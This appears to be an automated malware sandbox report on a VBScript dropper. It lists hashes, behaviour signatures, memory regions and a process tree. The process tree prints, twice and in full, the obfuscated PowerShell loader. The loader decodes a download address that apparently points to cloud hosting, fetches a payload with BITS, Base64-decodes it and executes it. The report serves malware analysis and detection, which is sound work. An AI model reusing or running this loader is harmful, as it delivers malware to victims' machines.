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Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/03/2024, 09:16

General

  • Target

    arbejdsommere.vbs

  • Size

    26KB

  • MD5

    f8577629aeb64e251b9cb1e099e714d0

  • SHA1

    5f0a623045c49b2d7ae72bcbd66ada317e4f03e2

  • SHA256

    8d506a06bb82e85988a2b5be1e4ec782667ef2b5252f16a46adcc75e92077ef7

  • SHA512

    52d6f17ce06caeaa1871a510d323598fe13fb67dacc6d01eb538bf0ad329e37fac28e33e27cf29725c08a3f40fb3a6042df5d6372dbcc499f9e00c932b69479c

  • SSDEEP

    768:qaIZCEG9cNFeKAqIqBW2MQK/fFXSiPwKYv:2CJcviqzjOSiPwjv

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\arbejdsommere.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:4196
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Fjernvarmevrks='Frosh41:\Totemic';Set-Content $Fjernvarmevrks 'Cismontane';$Tandlgeklinikkernes=Test-Path $Fjernvarmevrks;if($Tandlgeklinikkernes){exit};function Asser9 ($Liquidable){For($Folkekommunen=4; $Folkekommunen -lt $Liquidable.Length-1; $Folkekommunen+=5){$Posttyper=$Posttyper+$Liquidable.'Substring'($Folkekommunen, 1)};$Posttyper;}$Indbytningens=Asser9 ' TeahCiv,tAfsktSymppH.ersAf y: Mas/.ttr/MocsdProgrSkali ,ofvAfraeRasu.P.rsgFaglo F.eo E agAntilHa.de Rfc.Bra,cForfoCompmArtv/Jardu .nhcEpig?Disce.oenx erpQui.oColorCapitNa u= TuddvgteoSaakwUnfonBunglLigeo K.baUds,dUd,t& An i Aspd Se =Taft1SelviSlukDTitiQ.ustZ .vedskaaFPreaU DaaX sm ANonpQ,ownToptaiRemoeFociKTur,cO tipBundJDusk8AfstjGldeAGenntFo,sZ AnozP da5SpisebagkA,jerDTu ehtrim9Divel TrsSMishsProv ';$Posttyper01=Asser9 ' BariHa,hes,nsxForm ';$Afsveden = Asser9 ' tu\ ndesPhysygen.sArchw,tyroFarvw.lee6Brod4Lsty\DedeWGr,si .epn SardnonsoSkatwSpassReevPHeteoUtriwUs ueRobirBrusSDod,hGldee Un,lE.nalMang\ F.rvSul.1 Bud. G p0Pott\Broap PsyoPosow.enseNomirEngusCliohFinaeSkudlTrohlDill.Rec,eErgaxBoure.ese ';&($Posttyper01) (Asser9 'B,od$ ,veFSti,r st.osuffsBackh Ar,4Biza1Ran,2Tids=Vag,$NonpefestnPrmivPr,b: IndwNonjiTietnkrond StviFagor han ') ;&($Posttyper01) (Asser9 'Flec$.ndeAGingfprissVag,vBil eSe.udBffeeCyclnFi,e=Ande$AlumF Ti rB,kooStepsTreehFire4 Anv1.pst2Fo.s+Inte$DiasAmarkf Tons.ambvUnfueFl ed.nugeH zlnKoll ') ;&($Posttyper01) (Asser9 ' B l$Quinc Sekoforml.manu ,vimEvolb,heriKlovdEpim Sup=Afsl b s( Une(.esagUnwowBehomnondiJu.i ,quew KomiBridnBryl3Pai 2Funi_Grogp Ku r Frposparcsk,be,uppsOpk.sHund Lyds- ,idFBebu ProPInt.r,anto Benc IdeeKarasP,otsKrimIl byd Blo=Klge$Sult{ k aPUncoIUndiDsags} Ant)A.ve. BasCBlaao ricmTeknmUdspaWastnCo.sd LocLmuseiMet n CogePi.e) ,en Husa-Todds I.gpK,ltlF.coiFlo.tSpro Unha[Dommc,oleh.imiaScorrBro,] Eu 3,eks4Salv ');&($Posttyper01) (Asser9 'lymp$SploK ,ame kitrbeg,cGhazh .rsiKvareP,eufsitusB sm Sain=Subn Sk.l$Spe,c ykoForkl Banu EksmEnlibPeariLarydKoal[M,nt$Tin,cHjrsoOut.lArchuGriemDemob Sa.iL.sadSta..KallcO,tqo AuduOverndolmtUmen-Levn2 Sy ]Huk ');&($Posttyper01) (Asser9 'Be.g$TannEBrasmNit.uSynclA.naaMyecnAntitele.=Ting( k jTTchae ids Stat Udv-SuccPMurea Aktt,iljhKart Tres$ShelABestfNuncsS.elvAf,le DepdFirkeS,aan ec)Yalb Ukri- S lAMasknEndod Di Dagi(Zymo[Ung.I.ysbnAn.ht.yltPHadet OverL,se]Fri : Irl:Pokes Titi OrtzHyd.eTelp ,ust-.ptaeAdveqIcht Affe8Pied) ov. ') ;if ($Emulant) {&$Afsveden $Kerchiefs;} else {;$Posttyper00=Asser9 'TireS.emptMejsaP,rcrL,vetEst -EkshB Expi,ibotUdenswichTU,ikr R faAguinRetrs Ef f eske Fllrskns Suc,- TofSAppeoAutouDysfr SubcAutoeHemi Jonb$WrinISiden P cd nmbTorvyaltetOrchnElsdi Ti,novergScineAposnEn.os ved Uni,- TelD,nbeeindusWilitGldsiKi.knP,euaJulltdistiGrano.tvnn rue Ser,$ ForFSpelrUdm.oHerosSommhT.il4Anda1Hill2B.dg ';&($Posttyper01) (Asser9 'Bana$ BlaFPollrTtnioFlelsSmerhChec4Tote1 Ar.2,ndr=delp$Placekompn,nnev.api: Fo aA,erp.rrep CondDe,paGnubtArbeaPriv ') ;&($Posttyper01) (Asser9 ',ocuI UndmAul pZenio T,wrPalctU,wo-ImplMMulloFiskdDediu DenlC ireLock F reBFa.tiPizatH,sts RumTFrakr Oola ,omnSphesBirafMockeOpslrBurm ') ;$Frosh412=$Frosh412+'\Angrebskrigs.Var';while (-not $Lepidopteron) {&($Posttyper01) (Asser9 'Sapo$DiscLT.nse MespDiktiU.opdStaroIs.lpEgoctRe.ueAfrurbr,doSigtn Ope=s.mp( Cr,TAnstekills RentP,eu-In,xPregiaUni tFladhKnok Lege$fr tF,ishrPerio ridsR fuhUnce4Hera1 .el2Lerv)Pamp ') ;&($Posttyper01) $Posttyper00;&($Posttyper01) (Asser9 ' F rS hretVagea,temrSu.ctPedo-ankeS andlQuebe viveReetpS.rm Lang5Baha ');}&($Posttyper01) (Asser9 ' Afg$PaddATy.ksA masInteeReberOta Nonf=Phon botGdelie .ontLign-Xi,hCUnmuoViden.maatRodee ampnFuldtDy,l Papi$DuckFSeptrSuovoMarbs SkjhA,mi4Just1Tele2 Cas ');&($Posttyper01) (Asser9 'Ild.$DefeSafd.lOsteyWorkn HavgSibyeS lel orlsRadit Foru.rfte,avarMargsTric Dish= ern Cu p[Gra.SFuksy .aksvol tTrane ,semRaml.andaCAs roslu nstilvGreeepremrAgantBusc]Rumf:Ard,:HaanFLe,trSekso Pk m RadBbrugaLagds ndeeUnde6St a4RustSBihet onr Ko iMe,hnB.skgFile(Guis$ abeAWo,ksAndes GaseGabarPres)Jog. ');&($Posttyper01) (Asser9 ' rio$EjerP erroPornsA,letGrastpyroy TrapBorte panrP.la2 eol Aeth=Adju Af,l[ SanSMd.dySelus Hvat Rese ti.mfo s.Des,T SpleIsocx OrdtTref. GarEGrunnForec,ntro lecdMulti Ul,nB,ksgBesp],eca: .ve:RollAPrivSPsykCMiliI OveIPr,i.Y rkG AsceStent TolSSlett.injr f riBuganMaalgIndd(Yd,r$PrinSOtthlPro,yUnconLrergSydaeH tclPalasUddatKej uOssieMultr,atusRaml) oop ');&($Posttyper01) (Asser9 ' Ind$ A.lO EthvBizae SalrekspsSyndiEllegKunstGipssPensvSer iDuven Fl.d Forumed eEnce=obje$TripP Pi o GlosUlvet Folt CucySelvpUndeeforrr Far2parr. ElesSimuuFibrbAceps Fret Skor ,eciJupanPro gDoku( ins3Bron4P.yc7 Swa0S ud0Pudr6 ,me,Opkb3Geme6Gra 8Brad6 As.6Tede).rue ');&($Posttyper01) $Oversigtsvindue;}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3704
      • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Fjernvarmevrks='Frosh41:\Totemic';Set-Content $Fjernvarmevrks 'Cismontane';$Tandlgeklinikkernes=Test-Path $Fjernvarmevrks;if($Tandlgeklinikkernes){exit};function Asser9 ($Liquidable){For($Folkekommunen=4; $Folkekommunen -lt $Liquidable.Length-1; $Folkekommunen+=5){$Posttyper=$Posttyper+$Liquidable.'Substring'($Folkekommunen, 1)};$Posttyper;}$Indbytningens=Asser9 ' TeahCiv,tAfsktSymppH.ersAf y: Mas/.ttr/MocsdProgrSkali ,ofvAfraeRasu.P.rsgFaglo F.eo E agAntilHa.de Rfc.Bra,cForfoCompmArtv/Jardu .nhcEpig?Disce.oenx erpQui.oColorCapitNa u= TuddvgteoSaakwUnfonBunglLigeo K.baUds,dUd,t& An i Aspd Se =Taft1SelviSlukDTitiQ.ustZ .vedskaaFPreaU DaaX sm ANonpQ,ownToptaiRemoeFociKTur,cO tipBundJDusk8AfstjGldeAGenntFo,sZ AnozP da5SpisebagkA,jerDTu ehtrim9Divel TrsSMishsProv ';$Posttyper01=Asser9 ' BariHa,hes,nsxForm ';$Afsveden = Asser9 ' tu\ ndesPhysygen.sArchw,tyroFarvw.lee6Brod4Lsty\DedeWGr,si .epn SardnonsoSkatwSpassReevPHeteoUtriwUs ueRobirBrusSDod,hGldee Un,lE.nalMang\ F.rvSul.1 Bud. G p0Pott\Broap PsyoPosow.enseNomirEngusCliohFinaeSkudlTrohlDill.Rec,eErgaxBoure.ese ';&($Posttyper01) (Asser9 'B,od$ ,veFSti,r st.osuffsBackh Ar,4Biza1Ran,2Tids=Vag,$NonpefestnPrmivPr,b: IndwNonjiTietnkrond StviFagor han ') ;&($Posttyper01) (Asser9 'Flec$.ndeAGingfprissVag,vBil eSe.udBffeeCyclnFi,e=Ande$AlumF Ti rB,kooStepsTreehFire4 Anv1.pst2Fo.s+Inte$DiasAmarkf Tons.ambvUnfueFl ed.nugeH zlnKoll ') ;&($Posttyper01) (Asser9 ' B l$Quinc Sekoforml.manu ,vimEvolb,heriKlovdEpim Sup=Afsl b s( Une(.esagUnwowBehomnondiJu.i ,quew KomiBridnBryl3Pai 2Funi_Grogp Ku r Frposparcsk,be,uppsOpk.sHund Lyds- ,idFBebu ProPInt.r,anto Benc IdeeKarasP,otsKrimIl byd Blo=Klge$Sult{ k aPUncoIUndiDsags} Ant)A.ve. BasCBlaao ricmTeknmUdspaWastnCo.sd LocLmuseiMet n CogePi.e) ,en Husa-Todds I.gpK,ltlF.coiFlo.tSpro Unha[Dommc,oleh.imiaScorrBro,] Eu 3,eks4Salv ');&($Posttyper01) (Asser9 'lymp$SploK ,ame kitrbeg,cGhazh .rsiKvareP,eufsitusB sm Sain=Subn Sk.l$Spe,c ykoForkl Banu EksmEnlibPeariLarydKoal[M,nt$Tin,cHjrsoOut.lArchuGriemDemob Sa.iL.sadSta..KallcO,tqo AuduOverndolmtUmen-Levn2 Sy ]Huk ');&($Posttyper01) (Asser9 'Be.g$TannEBrasmNit.uSynclA.naaMyecnAntitele.=Ting( k jTTchae ids Stat Udv-SuccPMurea Aktt,iljhKart Tres$ShelABestfNuncsS.elvAf,le DepdFirkeS,aan ec)Yalb Ukri- S lAMasknEndod Di Dagi(Zymo[Ung.I.ysbnAn.ht.yltPHadet OverL,se]Fri : Irl:Pokes Titi OrtzHyd.eTelp ,ust-.ptaeAdveqIcht Affe8Pied) ov. ') ;if ($Emulant) {&$Afsveden $Kerchiefs;} else {;$Posttyper00=Asser9 'TireS.emptMejsaP,rcrL,vetEst -EkshB Expi,ibotUdenswichTU,ikr R faAguinRetrs Ef f eske Fllrskns Suc,- TofSAppeoAutouDysfr SubcAutoeHemi Jonb$WrinISiden P cd nmbTorvyaltetOrchnElsdi Ti,novergScineAposnEn.os ved Uni,- TelD,nbeeindusWilitGldsiKi.knP,euaJulltdistiGrano.tvnn rue Ser,$ ForFSpelrUdm.oHerosSommhT.il4Anda1Hill2B.dg ';&($Posttyper01) (Asser9 'Bana$ BlaFPollrTtnioFlelsSmerhChec4Tote1 Ar.2,ndr=delp$Placekompn,nnev.api: Fo aA,erp.rrep CondDe,paGnubtArbeaPriv ') ;&($Posttyper01) (Asser9 ',ocuI UndmAul pZenio T,wrPalctU,wo-ImplMMulloFiskdDediu DenlC ireLock F reBFa.tiPizatH,sts RumTFrakr Oola ,omnSphesBirafMockeOpslrBurm ') ;$Frosh412=$Frosh412+'\Angrebskrigs.Var';while (-not $Lepidopteron) {&($Posttyper01) (Asser9 'Sapo$DiscLT.nse MespDiktiU.opdStaroIs.lpEgoctRe.ueAfrurbr,doSigtn Ope=s.mp( Cr,TAnstekills RentP,eu-In,xPregiaUni tFladhKnok Lege$fr tF,ishrPerio ridsR fuhUnce4Hera1 .el2Lerv)Pamp ') ;&($Posttyper01) $Posttyper00;&($Posttyper01) (Asser9 ' F rS hretVagea,temrSu.ctPedo-ankeS andlQuebe viveReetpS.rm Lang5Baha ');}&($Posttyper01) (Asser9 ' Afg$PaddATy.ksA masInteeReberOta Nonf=Phon botGdelie .ontLign-Xi,hCUnmuoViden.maatRodee ampnFuldtDy,l Papi$DuckFSeptrSuovoMarbs SkjhA,mi4Just1Tele2 Cas ');&($Posttyper01) (Asser9 'Ild.$DefeSafd.lOsteyWorkn HavgSibyeS lel orlsRadit Foru.rfte,avarMargsTric Dish= ern Cu p[Gra.SFuksy .aksvol tTrane ,semRaml.andaCAs roslu nstilvGreeepremrAgantBusc]Rumf:Ard,:HaanFLe,trSekso Pk m RadBbrugaLagds ndeeUnde6St a4RustSBihet onr Ko iMe,hnB.skgFile(Guis$ abeAWo,ksAndes GaseGabarPres)Jog. ');&($Posttyper01) (Asser9 ' rio$EjerP erroPornsA,letGrastpyroy TrapBorte panrP.la2 eol Aeth=Adju Af,l[ SanSMd.dySelus Hvat Rese ti.mfo s.Des,T SpleIsocx OrdtTref. GarEGrunnForec,ntro lecdMulti Ul,nB,ksgBesp],eca: .ve:RollAPrivSPsykCMiliI OveIPr,i.Y rkG AsceStent TolSSlett.injr f riBuganMaalgIndd(Yd,r$PrinSOtthlPro,yUnconLrergSydaeH tclPalasUddatKej uOssieMultr,atusRaml) oop ');&($Posttyper01) (Asser9 ' Ind$ A.lO EthvBizae SalrekspsSyndiEllegKunstGipssPensvSer iDuven Fl.d Forumed eEnce=obje$TripP Pi o GlosUlvet Folt CucySelvpUndeeforrr Far2parr. ElesSimuuFibrbAceps Fret Skor ,eciJupanPro gDoku( ins3Bron4P.yc7 Swa0S ud0Pudr6 ,me,Opkb3Geme6Gra 8Brad6 As.6Tede).rue ');&($Posttyper01) $Oversigtsvindue;}"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2764
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2764 -s 2308
          4⤵
          • Program crash
          PID:1804
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2764 -ip 2764
    1⤵
      PID:3516

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5xqx15wm.jpf.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2764-33-0x0000000006210000-0x0000000006564000-memory.dmp

      Filesize

      3.3MB

    • memory/2764-21-0x0000000005810000-0x0000000005832000-memory.dmp

      Filesize

      136KB

    • memory/2764-43-0x0000000075010000-0x00000000757C0000-memory.dmp

      Filesize

      7.7MB

    • memory/2764-17-0x0000000075010000-0x00000000757C0000-memory.dmp

      Filesize

      7.7MB

    • memory/2764-18-0x0000000002ED0000-0x0000000002EE0000-memory.dmp

      Filesize

      64KB

    • memory/2764-16-0x0000000002DB0000-0x0000000002DE6000-memory.dmp

      Filesize

      216KB

    • memory/2764-19-0x0000000002ED0000-0x0000000002EE0000-memory.dmp

      Filesize

      64KB

    • memory/2764-34-0x00000000066E0000-0x00000000066FE000-memory.dmp

      Filesize

      120KB

    • memory/2764-42-0x0000000007D60000-0x0000000007D74000-memory.dmp

      Filesize

      80KB

    • memory/2764-22-0x00000000058B0000-0x0000000005916000-memory.dmp

      Filesize

      408KB

    • memory/2764-41-0x0000000007CD0000-0x0000000007CF2000-memory.dmp

      Filesize

      136KB

    • memory/2764-28-0x00000000060A0000-0x0000000006106000-memory.dmp

      Filesize

      408KB

    • memory/2764-20-0x0000000005970000-0x0000000005F98000-memory.dmp

      Filesize

      6.2MB

    • memory/2764-35-0x0000000006730000-0x000000000677C000-memory.dmp

      Filesize

      304KB

    • memory/2764-36-0x00000000078B0000-0x0000000007946000-memory.dmp

      Filesize

      600KB

    • memory/2764-37-0x0000000006BF0000-0x0000000006C0A000-memory.dmp

      Filesize

      104KB

    • memory/2764-38-0x0000000006C40000-0x0000000006C62000-memory.dmp

      Filesize

      136KB

    • memory/2764-39-0x0000000007F60000-0x0000000008504000-memory.dmp

      Filesize

      5.6MB

    • memory/2764-40-0x0000000008B90000-0x000000000920A000-memory.dmp

      Filesize

      6.5MB

    • memory/3704-14-0x00007FFA73BC0000-0x00007FFA74681000-memory.dmp

      Filesize

      10.8MB

    • memory/3704-13-0x0000026F4BB00000-0x0000026F4BB22000-memory.dmp

      Filesize

      136KB

    • memory/3704-15-0x0000026F4B8F0000-0x0000026F4B900000-memory.dmp

      Filesize

      64KB

    • memory/3704-46-0x00007FFA73BC0000-0x00007FFA74681000-memory.dmp

      Filesize

      10.8MB